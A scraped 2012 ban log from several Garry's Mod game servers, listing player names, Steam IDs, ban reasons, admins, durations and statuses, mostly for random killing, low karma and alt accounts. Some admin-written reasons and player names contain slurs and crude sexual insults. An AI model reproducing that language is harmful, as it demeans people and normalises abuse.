+Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:35 pm 23-06-12 Unknown STEAM_0:1:24315562 Cheat: Coma (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:19901992 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:38131040 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:33957251 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:28446368 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:36525933 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:38176760 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:5995530 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:29171828 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:14137101 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:17626391 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:13983114 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:12099804 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:13602538 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:43688624 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:26431054 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:25511182 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:21427056 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:19624868 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:12667741 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:18279666 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:38581282 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:40953131 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:37325264 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:48004946 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:17726148 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:42194705 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:19774979 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:38972880 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:23921311 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:32561559 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:39603922 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:17050506 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:21872927 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:18236678 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:13583020 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:40334407 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:46066 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:40916370 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:23516026 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:46298023 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:33968303 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:17367403 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:13196070 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:26220023 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:21056397 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:40735985 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:31191381 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:25675380 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:20928049 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:41146029 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:35038611 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:30883232 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:06 pm 23-06-12 Unknown STEAM_0:0:14169360 Killing without Faction +base for a second time not to mention the amount of times i didnt see +him do it and leaving afer i watch him do it CCD Official Zombified +World|Lvl Cap +10 Zombified World Permanent Banned +3:49 pm 23-06-12 Unknown STEAM_0:1:43945 rdm then left and whiney ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Banned +3:14 pm 23-06-12 AF2lThe Pro STEAM_0:0:10917336 rdming with +granades +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Banned +3:13 pm 23-06-12 proplayer1998 STEAM_0:0:47567750 mass rdm +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:18:33 Banned +3:11 pm 23-06-12 Unknown STEAM_0:0:38237009 rdm then left and is a +sad little boy +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:0:0 Banned +12:18 am 23-06-12 Û© Matzyboi Û© â?¢ STEAM_0:1:26655405 Killing +Without Faction Base CCD Official Zombified World|Lvl Cap +10 +Zombified World 0:2:0 Unbanned +12:16 am 23-06-12 [UKCS]Ragemode Activate STEAM_0:0:14169360 Killing +without Faction Base CCD Official Zombified World|Lvl Cap +10 +Zombified World 0:2:0 Unbanned +10:36 pm 22-06-12 Doctor Dave, M.D. STEAM_0:0:35687047 Cry Some Moar! +Yea nice RDM Aion Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Banned +9:38 pm 22-06-12 Unknown STEAM_0:0:13380406 Crashing the server, +multiple times +[SP]+ Marked One [SK] Official Zombified World|Lvl Cap ++10 Zombified World 5:5:0 Banned +9:08 pm 22-06-12 hooker STEAM_0:1:20019804 RDM +[SP]+ Marked One +[SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +9:05 pm 22-06-12 Shadowlagg STEAM_0:1:30881427 Constant RDM +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Banned +9:05 pm 22-06-12 Unknown STEAM_0:1:19893872 Low Karma RDM Discon ++[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +8:57 pm 22-06-12 Unknown STEAM_0:0:41580067 RDM+Discon +[SP]+ Marked +One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +7:27 pm 22-06-12 Unknown STEAM_0:1:25704172 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +5:00 pm 22-06-12 Unknown STEAM_0:1:25100272 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +11:26 pm 21-06-12 Unknown STEAM_0:0:14803381 Because its a cool +number Fellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1041:16:0 Banned +11:25 pm 21-06-12 Unknown STEAM_0:0:14803381 Because its a cool +number Fellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 694:10:40 Banned +10:33 pm 21-06-12 Onii-Chan No Pantsu STEAM_0:1:31171534 I ' m on my +period Fellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:20:0 Unbanned +10:29 pm 21-06-12 captain YOLT STEAM_0:1:41800924 mass rdm as the D +Charlie Mops! Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Banned +9:28 pm 21-06-12 Hydro STEAM_0:1:24784527 karma has been shit for +long time and joinging the server to spectate to get karma up to loose +it in one round +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:0 Unbanned +9:12 pm 21-06-12 Unknown STEAM_0:0:15273811 rdm then left 2 times ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +8:54 pm 21-06-12 calv1n STEAM_0:0:1290617 karma kept low +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +8:30 pm 21-06-12 Unknown STEAM_0:1:5516189 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +8:12 pm 21-06-12 baaaaah STEAM_0:0:17102833 Proppushing Sanya +Official Zombified World|Lvl Cap +10 Zombified World 1:0:0 Unbanned +8:12 pm 21-06-12 LolipopGT STEAM_0:1:19940416 Proppushing Sanya +Official Zombified World|Lvl Cap +10 Zombified World 1:0:0 Unbanned +6:10 pm 21-06-12 Unknown STEAM_0:1:41116333 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +6:08 pm 21-06-12 al_chelmodeev STEAM_0:1:16804959 avoiding the gag +and mute +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +4:55 pm 21-06-12 masonclegg aged 4 STEAM_0:1:37553004 Doesn't play at +all Azureus Killa's Zombie Survival Server Zombie Survival 0:0:30 +Unbanned +9:26 pm 20-06-12 Skyfire <3 Miso Soup STEAM_0:0:27538303 Alt of +banned ID STEAM_0:0:45816759 (Console) Fretta|Tigergruppe Kommand +Ultimate Dodgeball Permanent Banned +8:56 pm 20-06-12 Unknown STEAM_0:1:32141119 RDM then leaving +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +8:44 pm 20-06-12 leachmanmichaeldadylove STEAM_0:0:50547833 RDM +karma +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +6:51 pm 20-06-12 SEANINATOR436 STEAM_0:0:50971760 low low karma ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +6:48 pm 20-06-12 [MW]KonnA^[danG] STEAM_0:1:9783262 Jerky map abuse +Azureus Killa's Zombie Survival Server Zombie Survival 0:0:30 Unbanned +6:19 pm 20-06-12 Godzilla STEAM_0:0:20651275 rdm then left and +spaming the console +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 0:2:0 Unbanned +9:40 pm 19-06-12 Yuri Sergig STEAM_0:1:8404665 shhh MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +6:18 pm 19-06-12 [UKCS]Ragemode Activate STEAM_0:0:14169360 Alt of +banned ID STEAM_0:1:26655405 (Console) Official Zombified World|Lvl +Cap +10 Zombified World 1:4:32 Unbanned +5:54 pm 19-06-12 â??â?¸â??â??-â?¿â??â??â??â?¨â?? STEAM_0:0:44206974 +get a real name +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:2 Unbanned +5:43 pm 19-06-12 nik-veresch STEAM_0:1:50256674 karma was warned ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +4:31 pm 19-06-12 Abot17 STEAM_0:1:37755368 low low karma +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +8:05 pm 18-06-12 Unknown STEAM_0:0:51814788 Rdm and left MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +7:58 pm 18-06-12 DeltasDix STEAM_0:0:20546966 MASSIVE CHILL PILL +NEEDED MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 4:20:40 Unbanned +12:33 pm 18-06-12 Unknown STEAM_0:0:35418753 was banned and wasted my +time +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:13:0 Unbanned +11:48 am 18-06-12 Unknown STEAM_0:0:35418753 +[SP]+ Hatcake +Fretta|Tigergruppe Kommand GunGame 0:0:1 Unbanned +11:33 am 18-06-12 Unknown STEAM_0:0:32967118 unbanning +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:1 +Unbanned +5:16 am 18-06-12 Unknown STEAM_0:1:39500262 idiot +[SP]+ OPTIMUS +PRIME Fretta|Tigergruppe Kommand Trouble in Terrorist Town 69:10:39 +Banned +4:26 am 18-06-12 Unknown STEAM_0:1:11674515 idiot +[SP]+ OPTIMUS +PRIME Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6944:10:39 Banned +3:24 am 18-06-12 Tyler STEAM_0:0:35960738 +[SP]+ OPTIMUS PRIME +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:39 Unbanned +3:14 am 18-06-12 Flyper STEAM_0:0:38691234 +[SP]+ OPTIMUS PRIME +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:39 Unbanned +10:19 pm 17-06-12 Over 9000 Horny Bullfrogs STEAM_0:0:49279815 mass +rdm as the D cunt +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 34:17:20 Banned +9:51 pm 17-06-12 Unknown STEAM_0:0:24755232 karma and rdm +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +9:51 pm 17-06-12 â??Ï?â?? STEAM_0:0:24755232 change name +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:10 +Unbanned +9:50 pm 17-06-12 (â??_â??¬) STEAM_0:0:18116919 change name +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:10 +Unbanned +9:35 pm 17-06-12 Hazasp700 STEAM_0:0:26576328 karma is far far to +low +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +7:27 pm 17-06-12 Unknown STEAM_0:1:46189750 ban request +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 5:0:0 +Unbanned +7:23 pm 17-06-12 Glen =DDD STEAM_0:1:43877525 Rdming traitor against +traitor, det against det Joo) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +4:08 pm 17-06-12 Raptor STEAM_0:0:52609113 Alt of banned ID +STEAM_0:1:10994497 (Console) Official Zombified World|Lvl Cap +10 +Zombified World Permanent Banned +1:07 pm 17-06-12 Unknown STEAM_0:0:44146680 Faction abuse, taking wep +and leaving without giving it back +[SP]+ Marked One [SK] Official +Zombified World|Lvl Cap +10 Zombified World 1:0:0 Unbanned +1:31 am 17-06-12 Chewyvomit STEAM_0:0:20849559 RDM MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:12:0 Unbanned +12:33 am 17-06-12 Unknown STEAM_0:1:14811705 Mass RDM and Left ++[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 69:10:40 Banned +12:01 am 17-06-12 Madgay The Priest STEAM_0:0:3125277 Karma under +600. +[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:10 Unbanned +10:18 pm 16-06-12 beastlyBilly94 STEAM_0:1:45539800 Alt of banned ID +STEAM_0:0:15446164 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +9:31 pm 16-06-12 Unknown STEAM_0:1:15106177 rdming claiming and +left +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +6:56 pm 16-06-12 Sgt.KnowItAll STEAM_0:0:43215667 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +4:13 pm 16-06-12 Unknown STEAM_0:0:23355914 Rdm and leave. Too tired +to think of an appropriate ban length Fellknite Fretta|Tigergruppe +Kommand Trouble in Terrorist Town Permanent Banned +4:09 pm 16-06-12 dPLEXDIGGEDY STEAM_0:1:11120583 Fellknite +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 Unbanned +3:22 pm 16-06-12 Unknown STEAM_0:0:34897571 mass rdm then left ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:18:40 Unbanned +2:02 pm 16-06-12 ^1Al^4ex ^2=EOB= STEAM_0:0:29181939 rdming +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +11:47 am 16-06-12 Unknown STEAM_0:0:35418753 RDMing and disconnect, +3rd ban +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 4:14:0 Unbanned +5:45 am 16-06-12 We are Trayvon Martin STEAM_0:0:20651275 Alt of +banned ID STEAM_0:0:49248294 (Console) Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 2:5:33 Unbanned +2:01 am 16-06-12 ^1Chili^0Man STEAM_0:1:29133516 Penis, Penis is big +come on Chilli0man give it a lick! ClownsmaN Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 0:0:1 Unbanned +10:58 pm 15-06-12 Unknown STEAM_0:0:24915227 Base Deletion, Retard, +Advertising +[SP]+ Marked One [SK] Official Zombified World|Lvl Cap ++10 Zombified World 17:8:40 Banned +10:17 pm 15-06-12 Crap Assassin STEAM_0:0:26828537 rdming consitanly +for a day or so +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 3:11:20 Unbanned +10:14 pm 15-06-12 Unknown STEAM_0:1:44518926 mass rdm claiming then +left +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 6:22:40 Unbanned +10:14 pm 15-06-12 (DC)Bob STEAM_0:1:14811705 MASS RDM +[SP]+ JoE +CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:1:0 +Unbanned +9:05 pm 15-06-12 Unknown STEAM_0:1:5388189 +[SP]+ JoE CrAcKeR +Official Zombified World|Lvl Cap +10 Zombified World 0:0:1 Unbanned +5:55 pm 15-06-12 Unknown STEAM_0:0:20961409 Ban Request Nemesis +Official Zombified World|Lvl Cap +10 Zombified World 2:0:0 Unbanned +2:17 pm 15-06-12 Unknown STEAM_0:0:46138113 mass rdm then left ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4:20:40 Unbanned +2:14 pm 15-06-12 FUN G-M@N Rus STEAM_0:0:29622510 mass rdm as the D ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +2:12 pm 15-06-12 Wezzray :3 STEAM_0:1:25179315 karma rdm tit +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +1:46 pm 15-06-12 TheKillCold STEAM_0:1:19984007 0 CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:9:0 Unbanned +12:25 am 15-06-12 Retundro STEAM_0:0:35712887 rdming as the D +claiming rdm then left too +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 2:0:0 Unbanned +9:49 pm 14-06-12 SITHSTALKER STEAM_0:0:46484225 MASS RDM +[SP]+ +EDDIE STONE Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +9:48 pm 14-06-12 [SFT] meowcatz STEAM_0:1:45995690 MASS RDM +[SP]+ +EDDIE STONE Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +4:51 pm 14-06-12 Û© Matzyboi Û© â?¢ STEAM_0:1:26655405 Moveing base +to kill loners +[SP]+ Anime Official Zombified World|Lvl Cap +10 +Zombified World 6:6:0 Unbanned +1:43 pm 14-06-12 Atsuke STEAM_0:0:23073686 rdm karma rdm score +karma +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 4:20:40 Unbanned +1:28 pm 14-06-12 -=THO=-BlueSatrebor STEAM_0:0:24574346 karma for the +last few days +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:0:0 Unbanned +1:44 am 14-06-12 Admiral Akbar STEAM_0:1:15497395 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +3:15 pm 13-06-12 The Barret of Lies STEAM_0:0:21088578 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +1:15 pm 13-06-12 MjBertha STEAM_0:1:42078006 RDM Detective CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +11:10 am 13-06-12 Unknown STEAM_0:1:39462507 rdm then left but was a +cock before hand : ) +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 2:18:30 Unbanned +10:40 am 13-06-12 Caboose STEAM_0:0:27784053 rdm + karma, asshole ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +2:21 am 13-06-12 >NLshadeGears< STEAM_0:0:20408186 rmd? +[SP]+ +OPTIMUS PRIME Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:16:39 Unbanned +2:02 am 13-06-12 The cable guy STEAM_0:0:50475553 rmd early today ++[SP]+ OPTIMUS PRIME Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 6944:10:39 Banned +1:12 am 13-06-12 Hammerz STEAM_0:0:16084872 saw that +[SP]+ OPTIMUS +PRIME Fretta|Tigergruppe Kommand Puzzle 0:0:10 Unbanned +1:06 am 13-06-12 à¹?Û£Û?StarFire STEAM_0:0:17943321 chill +[SP]+ +OPTIMUS PRIME Fretta|Tigergruppe Kommand Puzzle 0:0:10 Unbanned +5:35 pm 12-06-12 johnnyreb44 STEAM_0:0:45681149 mic spamming and +cocky in general Wiggy Official Zombified World|Lvl Cap +10 Zombified +World 6:22:39 Unbanned +1:22 pm 12-06-12 Unknown STEAM_0:1:25079974 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +10:12 pm 11-06-12 Jonah STEAM_0:0:35980422 Disrespecting admin then +RDM +[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +8:20 pm 11-06-12 Wezzray :3 STEAM_0:1:25179315 RDM then leaving ++[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +2:59 pm 11-06-12 Unknown STEAM_0:1:145613 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +2:45 pm 11-06-12 Unknown STEAM_0:1:20673262 rdm then left ( rdming +alot ) +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:22:20 Unbanned +2:21 pm 11-06-12 Unknown STEAM_0:1:38275479 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +11:19 am 11-06-12 Fuzz STEAM_0:0:49248294 Faggot +[SP]+ Danzomanzo +Fretta|Tigergruppe Kommand Ultimate Dodgeball 7:0:0 Unbanned +12:32 am 11-06-12 PILOTENSHIT STEAM_0:1:36459763 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:05 pm 10-06-12 AugmentedReality STEAM_0:1:21967316 advoiding the +mute so many times : ) +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Deathrun 1:0:0 Unbanned +8:49 pm 10-06-12 gonsas1111 STEAM_0:0:42795089 rdm then left ( your +karma is poor too ) +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 1:0:0 Unbanned +8:35 pm 10-06-12 larsdegeakste STEAM_0:1:51558033 rdming all night +karma +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 3:11:20 Unbanned +8:02 pm 10-06-12 {Pk} SaiBTBhoeLeo STEAM_0:1:34685737 rdming using +lift +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:11:50 Unbanned +5:01 pm 10-06-12 Unknown STEAM_0:1:28966923 mass rdm as the D then +left +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 4:20:40 Unbanned +2:18 pm 10-06-12 Mr. Tom STEAM_0:1:15921340 RDM Dribble +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +1:25 am 10-06-12 STEAM_0:1:26271093 IDIOT +[SP]+ OPTIMUS PRIME +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 694:10:39 Banned +11:59 pm 09-06-12 le monkey face STEAM_0:1:18663954 rdming +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +11:59 pm 09-06-12 [GXYSV]Infiniteloop STEAM_0:0:38555978 you karma +mass rdm +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +11:58 pm 09-06-12 Unknown STEAM_0:1:1844928 idiot rdm +[SP]+ OPTIMUS +PRIME Fretta|Tigergruppe Kommand Trouble in 